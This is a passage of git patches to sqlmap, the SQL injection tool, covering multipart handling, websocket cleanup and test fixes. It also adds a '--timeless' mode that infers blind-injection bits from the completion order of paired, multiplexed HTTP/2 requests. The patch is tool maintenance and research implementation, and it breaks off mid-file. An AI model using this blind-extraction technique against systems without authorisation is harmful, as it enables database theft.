copy (i.e. a clone / dev checkout, as opposed to a + pip/tarball install) + """ + + return os.path.isdir(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")) + +def codeIsModified(): + """ + Best-effort check whether a git working copy has local modifications, used to avoid auto-reporting + crashes that stem from a user's OWN changes. Only meaningful for git checkouts (dev/clone); a + pip/tarball install is taken as shipped (returns False). A transient git error also yields False, + so a missing git binary never silences a legitimate report. + + >>> codeIsModified() in (True, False) True """ - retVal = True + retVal = False - if paths.get("DIGEST_FILE"): - for entry in getFileItems(paths.DIGEST_FILE): - match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) - if match: - expected, filename = match.groups() - filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) - if not checkFile(filepath, False): - continue - with open(filepath, "rb") as f: - content = f.read() - if b'\0' not in content: - content = content.replace(b"\r\n", b"\n") - if not hashlib.sha256(content).hexdigest() == expected: - retVal &= False - break + if isGitRepository(): + try: + process = subprocess.Popen("git diff-index --quiet HEAD --", shell=True, cwd=paths.SQLMAP_ROOT_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + process.communicate() + if process.returncode == 1: # 0 == clean, 1 == modified (anything else == git error) + retVal = True + except Exception: + pass return retVal diff --git a/lib/core/option.py b/lib/core/option.py index b67d7e0623d..2456428bd0f 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -157,7 +157,7 @@ from lib.utils.purge import purge from lib.utils.search import search from thirdparty import six -from thirdparty.multipart import multipartpost +from lib.request.multiparthandler import MultipartPostHandler from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_cookiejar as _http_cookiejar @@ -173,7 +173,7 @@ proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() -multipartPostHandler = multipartpost.MultipartPostHandler() +multipartPostHandler = MultipartPostHandler() # Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html try: diff --git a/lib/core/settings.py b/lib/core/settings.py index 837bcc2d455..52904bb0471 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.31" +VERSION = "1.10.7.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/multiparthandler.py b/lib/request/multiparthandler.py new file mode 100644 index 00000000000..d0a7980d22a --- /dev/null +++ b/lib/request/multiparthandler.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import io +import mimetypes +import re + +from lib.core.compat import choose_boundary +from lib.core.convert import getBytes +from lib.core.exception import SqlmapDataException +from thirdparty.six.moves import urllib as _urllib + +# Controls how sequences are encoded: if True, an element may be given multiple values by assigning a sequence +DOSEQ = True + +class MultipartPostHandler(_urllib.request.BaseHandler): + """ + urllib handler that transparently encodes a dict request body as multipart/form-data when it carries + file-like values (and as a plain urlencoded body otherwise). Native replacement for the historically + vendored 'thirdparty/multipart/multipartpost.py' (Will Holcomb, 2006); the logic already relied on + sqlmap's own helpers, so it now lives here as a first-class request handler. + """ + + handler_order = _urllib.request.HTTPHandler.handler_order - 10 # must run before the HTTP handler + + def http_request(self, request): + data = request.data + + if isinstance(data, dict): + files, variables = [], [] + + try: + for key, value in data.items(): + if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): + files.append((key, value)) + else: + variables.append((key, value)) + except TypeError: + raise SqlmapDataException("not a valid non-string sequence or mapping object") + + if not files: + data = _urllib.parse.urlencode(variables, DOSEQ) + else: + boundary, data = self.multipartEncode(variables, files) + request.add_unredirected_header("Content-Type", "multipart/form-data; boundary=%s" % boundary) + + request.data = data + + # normalize bare LF to CRLF inside a multipart body (Reference: https://github.com/sqlmapproject/sqlmap/issues/4235) + if request.data: + for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): + part = match.group(0) + if b'\r' not in part: + request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) + + return request + + def multipartEncode(self, variables, files, boundary=None): + boundary = boundary or choose_boundary() + buffer_ = b"" + + for key, value in variables: + if key is not None and value is not None: + buffer_ += b"--%s\r\n" % getBytes(boundary) + buffer_ += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) + buffer_ += b"\r\n\r\n" + getBytes(value) + b"\r\n" + + for key, fd in files: + filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1] + try: + contentType = mimetypes.guess_type(filename)[0] or b"application/octet-stream" + except Exception: + # Reference: http://bugs.python.org/issue9291 + contentType = b"application/octet-stream" + buffer_ += b"--%s\r\n" % getBytes(boundary) + buffer_ += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) + buffer_ += b"Content-Type: %s\r\n" % getBytes(contentType) + fd.seek(0) + buffer_ += b"\r\n%s\r\n" % fd.read() + + buffer_ += b"--%s--\r\n\r\n" % getBytes(boundary) + + return boundary, getBytes(buffer_) + + https_request = http_request diff --git a/sqlmap.py b/sqlmap.py index 77a67d017f9..a2085c4c2a2 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -55,7 +55,7 @@ from lib.core.common import banner from lib.core.common import checkPipedInput - from lib.core.common import checkSums + from lib.core.common import codeIsModified from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import extractRegexResult @@ -282,7 +282,7 @@ def main(): print() errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() - valid = checkSums() + valid = not codeIsModified() os._exitcode = 255 diff --git a/thirdparty/multipart/__init__.py b/thirdparty/multipart/__init__.py deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py deleted file mode 100644 index 2f2389807ea..00000000000 --- a/thirdparty/multipart/multipartpost.py +++ /dev/null @@ -1,114 +0,0 @@ -#!/usr/bin/env python - -""" -02/2006 Will Holcomb - -Reference: http://odin.himinbi.org/MultipartPostHandler.py - -This library is free software; you can redistribute it and/or -modify it under the terms of the GNU Lesser General Public -License as published by the Free Software Foundation; either -version 2.1 of the License, or (at your option) any later version. - -This library is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -Lesser General Public License for more details. - -You should have received a copy of the GNU Lesser General Public -License along with this library; if not, write to the Free Software -Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -""" - -import io -import mimetypes -import os -import re -import stat -import sys - -from lib.core.compat import choose_boundary -from lib.core.convert import getBytes -from lib.core.exception import SqlmapDataException -from thirdparty.six.moves import urllib as _urllib - -# Controls how sequences are uncoded. If true, elements may be given -# multiple values by assigning a sequence. -doseq = True - - -class MultipartPostHandler(_urllib.request.BaseHandler): - handler_order = _urllib.request.HTTPHandler.handler_order - 10 # needs to run first - - def http_request(self, request): - data = request.data - - if isinstance(data, dict): - v_files = [] - v_vars = [] - - try: - for(key, value) in data.items(): - if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): - v_files.append((key, value)) - else: - v_vars.append((key, value)) - except TypeError: - systype, value, traceback = sys.exc_info() - raise SqlmapDataException("not a valid non-string sequence or mapping object '%s'" % traceback) - - if len(v_files) == 0: - data = _urllib.parse.urlencode(v_vars, doseq) - else: - boundary, data = self.multipart_encode(v_vars, v_files) - contenttype = "multipart/form-data; boundary=%s" % boundary - #if (request.has_header("Content-Type") and request.get_header("Content-Type").find("multipart/form-data") != 0): - # print "Replacing %s with %s" % (request.get_header("content-type"), "multipart/form-data") - request.add_unredirected_header("Content-Type", contenttype) - - request.data = data - - # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4235 - if request.data: - for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): - part = match.group(0) - if b'\r' not in part: - request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) - - return request - - def multipart_encode(self, vars, files, boundary=None, buf=None): - if boundary is None: - boundary = choose_boundary() - - if buf is None: - buf = b"" - - for (key, value) in vars: - if key is not None and value is not None: - buf += b"--%s\r\n" % getBytes(boundary) - buf += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) - buf += b"\r\n\r\n" + getBytes(value) + b"\r\n" - - for (key, fd) in files: - file_size = fd.len if hasattr(fd, "len") else os.fstat(fd.fileno())[stat.ST_SIZE] - filename = fd.name.split("/")[-1] if "/" in fd.name else fd.name.split("\\")[-1] - try: - contenttype = mimetypes.guess_type(filename)[0] or b"application/octet-stream" - except: - # Reference: http://bugs.python.org/issue9291 - contenttype = b"application/octet-stream" - buf += b"--%s\r\n" % getBytes(boundary) - buf += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) - buf += b"Content-Type: %s\r\n" % getBytes(contenttype) - # buf += b"Content-Length: %s\r\n" % file_size - fd.seek(0) - - buf += b"\r\n%s\r\n" % fd.read() - - buf += b"--%s--\r\n\r\n" % getBytes(boundary) - buf = getBytes(buf) - - return boundary, buf - - https_request = http_request From 788c9fa1349cf0aa94de4cfc0553d75511cd68ad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 18:54:26 +0200 Subject: [PATCH 690/853] Minor patch --- lib/core/settings.py | 2 +- lib/request/connect.py | 46 ++++++++++++++++++++++-------------------- 2 files changed, 25 insertions(+), 23 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 52904bb0471..d95a6369fa9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.32" +VERSION = "1.10.7.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index ce59eae0cba..f3fc14ba95f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -524,31 +524,33 @@ def getPage(**kwargs): if webSocket: ws = websocket.WebSocket() - ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) - wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper()) - ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically - ws.send(urldecode(post or "")) - - _page = [] - - if kb.webSocketRecvCount is None: - while True: - try: - _page.append(ws.recv()) - if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE: - warnMsg = "too large websocket response detected. Automatically trimming it" - singleTimeWarnMessage(warnMsg) + try: + ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) + wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper()) + ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically + ws.send(urldecode(post or "")) + + _page = [] + + if kb.webSocketRecvCount is None: + while True: + try: + _page.append(ws.recv()) + if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE: + warnMsg = "too large websocket response detected. Automatically trimming it" + singleTimeWarnMessage(warnMsg) + break + except websocket.WebSocketTimeoutException: + kb.webSocketRecvCount = len(_page) break - except websocket.WebSocketTimeoutException: - kb.webSocketRecvCount = len(_page) - break - else: - for i in xrange(max(1, kb.webSocketRecvCount)): - _page.append(ws.recv()) + else: + for i in xrange(max(1, kb.webSocketRecvCount)): + _page.append(ws.recv()) - page = "\n".join(_page) + page = "\n".join(_page) + finally: + ws.close() - ws.close() code = ws.status status = _http_client.responses.get(code, "") From 05f81ab1919384418fdcd8f40b8a158aa6e2e66a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 19:04:33 +0200 Subject: [PATCH 691/853] Fixing the CI/CD failure --- lib/core/settings.py | 2 +- lib/request/inject.py | 16 +++++++++++----- tests/test_databases_enum.py | 6 ++++-- 3 files changed, 16 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d95a6369fa9..bfef1ebda1d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.33" +VERSION = "1.10.7.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index 416ea21aa90..731a47b0cbc 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -424,7 +424,10 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non indices = list(indices) - savedTechnique = getTechnique() + # Snapshot the raw per-thread technique (may be None) so the finally can restore it verbatim - + # getTechnique() would fall back to kb.technique, and a None result there used to skip the restore + # entirely, leaking the BOOLEAN/TIME we set below onto the calling thread for every later caller. + savedTechnique = getCurrentThreadData().technique if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) @@ -433,8 +436,12 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non else: return None - initTechnique(getTechnique()) - payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector))) + try: + initTechnique(getTechnique()) + payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector))) + except: + setTechnique(savedTechnique) # these run before the runThreads try/finally below, so restore here too + raise results = [None] * len(indices) cursor = iter(xrange(len(indices))) @@ -501,8 +508,7 @@ def inferenceThread(): kb.partRun = savedPartRun mainThreadData.disableStdOut = savedStdOut mainThreadData.shared = savedShared - if savedTechnique is not None: - setTechnique(savedTechnique) + setTechnique(savedTechnique) # Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is # re-extracted serially via the classic getValue() path - full error handling, and a persistent error diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py index 13cc6a54a7a..e3136011803 100644 --- a/tests/test_databases_enum.py +++ b/tests/test_databases_enum.py @@ -61,7 +61,7 @@ class _BaseEnumTest(unittest.TestCase): # conf keys every test may read/write _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", - "getComments", "excludeSysDbs", "search", "freshQueries") + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") def setUp(self): self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} @@ -117,6 +117,7 @@ def _enable_inference(self): """Take the blind inference branch: conf.direct off, a BOOLEAN technique present.""" conf.direct = False conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} @@ -533,7 +534,7 @@ def gv(query, *a, **k): class _DbBase(unittest.TestCase): _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", - "getComments", "excludeSysDbs", "search", "freshQueries") + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") def setUp(self): self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} @@ -588,6 +589,7 @@ def _fresh(self): def _inference(self): conf.direct = False conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} From b2a5283e9b820a553e59d279d200b69894ef70fa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 7 Jul 2026 22:41:14 +0200 Subject: [PATCH 692/853] Adding some missing SQL keywords --- data/txt/keywords.txt | 2 ++ lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt index 36d2773ef44..8a985ea4191 100644 --- a/data/txt/keywords.txt +++ b/data/txt/keywords.txt @@ -1633,3 +1633,5 @@ YEAR ORD MID +TOP +ROWNUM diff --git a/lib/core/settings.py b/lib/core/settings.py index bfef1ebda1d..169c196930c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.34" +VERSION = "1.10.7.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f46c463eba5ce66c40dfd49c767304ea69e2db4d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 01:58:36 +0200 Subject: [PATCH 693/853] Adding support for --timeless HTTP2 technique --- lib/controller/action.py | 9 + lib/core/option.py | 2 + lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 + lib/request/connect.py | 34 +- lib/request/http2.py | 90 +++- lib/request/timeless.py | 714 ++++++++++++++++++++++++++++++ lib/techniques/blind/inference.py | 2 +- plugins/generic/entries.py | 8 +- 10 files changed, 858 insertions(+), 7 deletions(-) create mode 100644 lib/request/timeless.py diff --git a/lib/controller/action.py b/lib/controller/action.py index 8fe73ebf5a6..cb38e91ce4a 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -31,6 +31,15 @@ def action(): if possible """ + # HTTP/2 timeless timing ('--timeless'): detection is done and the back-end DBMS is known, so engage + # the oracle for this target's extraction (swaps the time-based vector for a tuned heavy one, so all + # subsequent extraction reads bits by response order instead of delay). Guarded + calibrated - a no-op + # unless '--timeless' is set and the target is usable; disengage() first clears any prior target's. + from lib.request import timeless + timeless.disengage() + if not timeless.autoEngage(): # engages if '--timeless' was given and the target is usable + timeless.hintTimeless() # otherwise nudge the user toward '--timeless' if the target fits + # First of all we have to identify the back-end database management # system to be able to go ahead with the injection # automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error diff --git a/lib/core/option.py b/lib/core/option.py index 2456428bd0f..920d4d95c25 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2330,6 +2330,8 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.suppressResumeInfo = False kb.tableFrom = None kb.technique = None + kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None + kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run) kb.tempDir = None kb.testMode = False kb.testOnlyCustom = False diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index f9db8437127..93e929845e3 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -128,6 +128,7 @@ "oobServer": "string", "oobToken": "string", "timeSec": "integer", + "timeless": "boolean", "uCols": "string", "uChar": "string", "uFrom": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 169c196930c..800d731e2a2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.35" +VERSION = "1.10.7.36" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 5a350e47aa1..64ac6319f90 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -424,6 +424,9 @@ def cmdLineParser(argv=None): techniques.add_argument("--disable-stats", dest="disableStats", action="store_true", help="Disable the statistical model for detecting the delay") + techniques.add_argument("--timeless", dest="timeless", action="store_true", + help="Use HTTP/2 timeless timing (faster, no delay)") + techniques.add_argument("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") diff --git a/lib/request/connect.py b/lib/request/connect.py index f3fc14ba95f..f148d9358c0 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -634,6 +634,12 @@ class _(dict): for char in (r"\r", r"\n"): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) + # Build-only capture: return the fully-assembled request instead of sending it, so the + # HTTP/2 timeless-timing oracle (lib/request/timeless.py) can coalesce two of these into a + # single multiplexed pair rather than issue them as independent single-stream requests. + if kwargs.get("buildOnly"): + return (url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post) + if conf.http2: from lib.request.http2 import open_url as http2OpenUrl @@ -1029,7 +1035,7 @@ class _(dict): @staticmethod @stackedmethod - def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False): + def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False, buildOnly=False): """ This method calls a function to get the target URL page content and returns its page ratio (0 <= ratio <= 1) or a boolean value @@ -1039,6 +1045,10 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if conf.direct: return direct(value, content) + # Snapshot the pristine payload for the timeless oracle before placement/tampering rewrites it, + # so its sentinel-bracketed comparison can be negated to build the symmetric-oracle pair. + timelessOrigValue = value if (timeBasedCompare and kb.get("timeless") is not None) else None + get = None post = None cookie = None @@ -1515,6 +1525,22 @@ def _randomizeParameter(paramString, randomParameter): elif postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) + # When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector + # is in place before any payload is built), a boolean comparison is answered by relative HTTP/2 + # response order instead of wall-clock timing - orders of magnitude faster and jitter-immune, and + # it skips the time-based statistical warm-up entirely. The comparison request is assembled exactly + # as it would be sent (buildOnly) and the bit is read from a coalesced pair. Not engaged -> timing. + if timeBasedCompare and kb.get("timeless") is not None: + from lib.request.timeless import negatePayload + # Build the condition and negation requests through the SAME path (queryPage buildOnly on the + # raw pre-placement value) so the pair differs ONLY by the negated comparison - building cond + # from the already-placed uri/get/post while neg goes through fresh placement would make them + # non-corresponding and flip the order. + negValue = negatePayload(timelessOrigValue) + condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True) + negSpec = Connect.queryPage(negValue, place=place, buildOnly=True) if negValue is not None else None + return kb.timeless.readBitFromSpecs(condSpec, negSpec) + if timeBasedCompare and not conf.disableStats: if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: clearConsoleLine() @@ -1592,6 +1618,12 @@ def _randomizeParameter(paramString, randomParameter): finally: kb.pageCompress = popValue() + # Timeless-timing oracle: after all placement/tampering, hand back the fully-assembled request + # (url, method, headers, post) instead of sending it, so two payloads can be coalesced into one + # multiplexed HTTP/2 pair (lib/request/timeless.py). + if buildOnly: + return Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=True, auxHeaders=auxHeaders, buildOnly=True) + if pageLength is None: try: page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) diff --git a/lib/request/http2.py b/lib/request/http2.py index c885f75cfb6..17c768068c8 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -453,7 +453,12 @@ def __init__(self, host, port, proxy, timeout): self.usable = True ctx = ssl._create_unverified_context() ctx.set_alpn_protocols(["h2"]) - self.sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) + raw = _connect_socket(host, port, proxy, timeout) + try: + raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # coalesced-pair writes must not be Nagle-buffered + except (OSError, socket.error): + pass + self.sock = ctx.wrap_socket(raw, server_hostname=host) try: if self.sock.selected_alpn_protocol() != "h2": raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol()) @@ -540,6 +545,89 @@ def exchange(self, method, path, authority, headers, body, timeout): break return status, resp_headers, bytes(resp_body) + def exchange_pair(self, requests, timeout): + """Timeless-timing primitive (Van Goethem et al., USENIX Security 2020). Send TWO requests + multiplexed and COALESCED into a single TCP write, then read frames until BOTH streams reach + END_STREAM, recording the order in which they finished. Because both requests ride the same + packet on the same connection, network jitter hits them equally and cancels - only the server's + relative processing time decides which END_STREAM lands first, so a sub-millisecond server-side + delta is readable that absolute wall-clock timing (drowned by jitter) cannot resolve. + + `requests` is a 2-list of dicts {method, path, authority, headers, body}. Returns + (finish_order, results) where finish_order is the list of stream ids in completion order and + results maps sid -> (status, headers, body). Requires the server to process the two streams + CONCURRENTLY; a serializing front-proxy defeats it (callers must calibrate - see h2_timeless_probe).""" + if not self.usable: + raise IOError("HTTP/2 connection no longer usable") + self.sock.settimeout(timeout) + + sids, out = [], b"" + for r in requests: + sid = self.next_sid + self.next_sid += 2 + sids.append(sid) + req = [(b":method", _tob(r.get("method", "GET"))), (b":scheme", b"https"), + (b":path", _tob(r["path"])), (b":authority", _tob(r.get("authority") or self.host))] + for k, v in (r.get("headers") or {}).items(): + req.append((_tob(k).lower(), _tob(v))) + body = r.get("body") + out += encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, Encoder().encode(req)) + if body: + out += encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body)) + if self.next_sid >= BIG_WINDOW: + self.usable = False + self.sock.sendall(out) # THE crux: one write -> one TCP segment -> simultaneous arrival + + state = dict((sid, {"hb": b"", "headers": None, "body": bytearray()}) for sid in sids) + finish_order = [] + remaining = set(sids) + while remaining: + ftype, flags, fsid, payload = _read_frame(self.sock) + if ftype == SETTINGS: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b"")) + elif ftype == PING: + if not (flags & FLAG_ACK): + self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload)) + elif ftype == GOAWAY: + self.usable = False + raise IOError("GOAWAY during timeless pair") + elif ftype == RST_STREAM and fsid in state: + self.usable = False + raise IOError("stream reset during timeless pair") + elif ftype in (HEADERS, CONTINUATION) and fsid in state: + p = payload + if ftype == HEADERS: + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + if flags & FLAG_PRIORITY: + p = p[5:] + state[fsid]["hb"] += p + if flags & FLAG_END_HEADERS: + state[fsid]["headers"] = self.dec.decode(state[fsid]["hb"]) + if flags & FLAG_END_STREAM and fsid in remaining: + finish_order.append(fsid); remaining.discard(fsid) + elif ftype == DATA and fsid in state: + p = payload + if flags & FLAG_PADDED: + p = p[1:len(p) - bytearray(payload)[0]] + state[fsid]["body"] += p + if payload: + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, fsid, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + if flags & FLAG_END_STREAM and fsid in remaining: + finish_order.append(fsid); remaining.discard(fsid) + + results = {} + for sid in sids: + status = None + for n, v in (state[sid]["headers"] or []): + if _tob(n) == b":status": + status = int(v); break + results[sid] = (status, state[sid]["headers"], bytes(state[sid]["body"])) + return finish_order, results + + # Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model # (one connection per host per thread) so streams never interleave across threads and time-based # measurements stay clean. diff --git a/lib/request/timeless.py b/lib/request/timeless.py new file mode 100644 index 00000000000..39f49615344 --- /dev/null +++ b/lib/request/timeless.py @@ -0,0 +1,714 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native +# client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single +# TCP write and multiplexed on one connection; because they share the packet and the path, network +# jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects +# only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be +# read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the +# NATURAL execution-time gap between a true and a false boolean branch is signal enough on 